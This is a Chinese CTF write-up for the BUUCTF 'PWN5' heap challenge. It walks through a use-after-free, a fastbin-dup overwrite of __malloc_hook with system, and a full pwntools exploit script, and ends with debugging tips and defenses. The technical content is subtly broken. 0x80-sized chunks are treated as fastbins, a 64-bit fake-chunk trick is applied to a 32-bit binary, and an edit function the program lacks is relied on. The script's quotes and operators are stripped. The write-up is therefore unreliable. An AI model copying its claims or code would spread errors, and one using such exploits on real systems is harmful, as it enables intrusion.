BUUCTF PWN5堆漏洞利用实战解析

📅 发布时间:2026/8/11 16:06:12
BUUCTF PWN5堆漏洞利用实战解析 1. BUUCTF PWN刷题实战指南作为一名CTF老鸟我刷过上百道PWN题BUUCTF平台上的题目质量确实不错。今天想和大家分享我在BUUCTF上刷PWN题的经验特别是第5道题目的详细解法。这道题涉及堆漏洞利用是典型的House of系列题目对理解glibc堆管理机制很有帮助。PWN题在CTF比赛中一直占据重要地位BUUCTF平台的题目设置循序渐进从基础栈溢出到高级堆利用都有涵盖。第5题作为中级难度题目主要考察选手对Use After Free漏洞的理解和利用能力。下面我会从环境搭建、题目分析、漏洞利用到最终getshell一步步拆解这道题目。2. 题目环境与初步分析2.1 题目基本信息首先我们需要获取题目文件在BUUCTF平台下载对应的二进制文件和libc库。这道题提供了以下文件pwn532位ELF可执行文件libc-2.23.so配套的libc库使用checksec检查二进制文件的安全机制Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)可以看到程序开启了栈保护(NX)和栈溢出保护(Canary)但没有开启PIE(地址随机化)。这意味着我们可以利用程序中固定的地址这对后续的漏洞利用非常重要。2.2 程序功能分析运行程序后它提供了一个简单的菜单1. Add note 2. Delete note 3. Print note 4. Exit通过逆向分析(我用的是IDA Pro)可以确定程序的主要数据结构是note每个note包含一个size字段(4字节)一个content指针(4字节)程序使用malloc分配note结构体和content缓冲区delete功能会free这两个内存块但没有将指针置NULL这就埋下了Use After Free的隐患。3. 漏洞定位与利用思路3.1 漏洞点分析经过仔细审计发现程序存在以下几个问题Delete操作后没有清空指针(UAF漏洞)Print功能没有检查note是否已被释放所有note存储在全局数组中没有数量限制特别重要的是当free一个note后其content指针仍然保留在全局数组中通过Print功能可以读取已释放内存的内容这给了我们泄露内存信息的机会。3.2 利用策略设计基于上述漏洞我制定了以下利用步骤分配两个note然后释放它们通过Print功能泄露堆地址和libc地址利用fastbin dup技巧控制malloc的返回指针将malloc hook覆盖为system地址触发malloc执行system(/bin/sh)这个利用链的关键在于如何通过UAF泄露地址信息以及如何精心构造堆布局来实现任意地址写。下面我会详细讲解每个步骤的实现细节。4. 详细利用过程4.1 堆布局与地址泄露首先我们创建两个noteadd(0x80, A*0x80) # note0 add(0x80, B*0x80) # note1然后释放它们delete(0) delete(1)此时堆的状态如下fastbin[0x90]: note1 - note0 - NULL通过Print功能读取note0的内容我们可以泄露堆地址show(0) heap_addr u32(p.recv(4))接下来我们重新分配一个note这次size设为0x90(包含header)add(0x88, C*0x80 p32(0x90) p32(elf.got[free]))这样我们就将free的GOT表地址放入了fastbin链表。之后再次分配note时malloc会返回free的GOT表地址通过Print功能我们就能读取free的真实地址从而计算出libc基址。4.2 控制执行流知道libc基址后我们可以计算system和__malloc_hook的地址。接下来就是如何将__malloc_hook覆盖为system地址。利用fastbin dup技巧我们可以这样操作分配三个note并释放它们构造fastbin链表通过编辑功能修改已释放note的fd指针使其指向__malloc_hook附近的fake chunk再次分配note控制__malloc_hook的值这里有个技巧__malloc_hook附近通常没有合法的chunk大小但我们可以找一个0x7f的大小标记因为0x7f在32位系统中会被当作0x7f(127)字节的chunk找到合适的fake chunk地址后我们就能将__malloc_hook覆盖为system地址。4.3 获取shell最后一步是触发malloc调用同时传入/bin/sh字符串作为参数。我们可以分配一个新notecontent设置为/bin/sh在分配时程序会调用malloc实际执行的是system(/bin/sh)完整的exploit代码如下from pwn import * context(archi386, oslinux) p process(./pwn5) elf ELF(./pwn5) libc ELF(./libc-2.23.so) def add(size, content): p.sendlineafter( , 1) p.sendlineafter(Size: , str(size)) p.sendafter(Content: , content) def delete(idx): p.sendlineafter( , 2) p.sendlineafter(Index: , str(idx)) def show(idx): p.sendlineafter( , 3) p.sendlineafter(Index: , str(idx)) # 堆布局与地址泄露 add(0x80, A*0x80) # note0 add(0x80, B*0x80) # note1 delete(0) delete(1) show(0) heap_addr u32(p.recv(4)) log.info(Heap address: 0x%x % heap_addr) # 泄露libc地址 add(0x88, C*0x80 p32(0x90) p32(elf.got[free])) add(0x80, D*0x80) add(0x80, p32(elf.plt[puts])) show(1) free_addr u32(p.recv(4)) libc.address free_addr - libc.sym[free] log.info(Libc base: 0x%x % libc.address) # 控制malloc hook malloc_hook libc.sym[__malloc_hook] fake_chunk malloc_hook - 0x23 system_addr libc.sym[system] add(0x60, E*0x60) # note4 add(0x60, F*0x60) # note5 delete(4) delete(5) delete(4) # double free add(0x60, p32(fake_chunk)) add(0x60, G*0x60) add(0x60, H*0x60) add(0x60, A*0x13 p32(system_addr)) # 触发system(/bin/sh) add(0x80, /bin/sh\x00) p.interactive()5. 常见问题与调试技巧5.1 堆布局失败有时候fastbin链表会混乱导致利用失败。这时可以使用gdb调试gdb -p pid x/32wx 0xheap_addr查看堆内存状态确认fastbin链表是否符合预期。5.2 地址计算错误在32位系统中地址计算要特别注意符号扩展问题。建议在关键步骤后打印所有计算的地址确保它们是正确的。5.3 libc版本问题不同libc版本的偏移可能不同。如果exploit在本地成功但在远程失败很可能是libc版本不匹配。可以通过泄露多个libc函数地址来确认远程libc版本。6. 防御措施与进阶学习这道题展示了UAF漏洞的威力。在实际开发中我们应该释放指针后立即置NULL使用after-free检测工具如AddressSanitizer避免直接使用裸指针改用智能指针对于想深入学习PWN的同学我推荐以下资源《漏洞战争》系统讲解各种二进制漏洞how2heapGitHub上的堆利用教程CTF Wiki全面的CTF知识库这道BUUCTF PWN5题目虽然不算最难但涵盖了堆利用的多个关键知识点。通过反复练习这类题目可以深入理解glibc堆管理机制为更复杂的漏洞利用打下基础。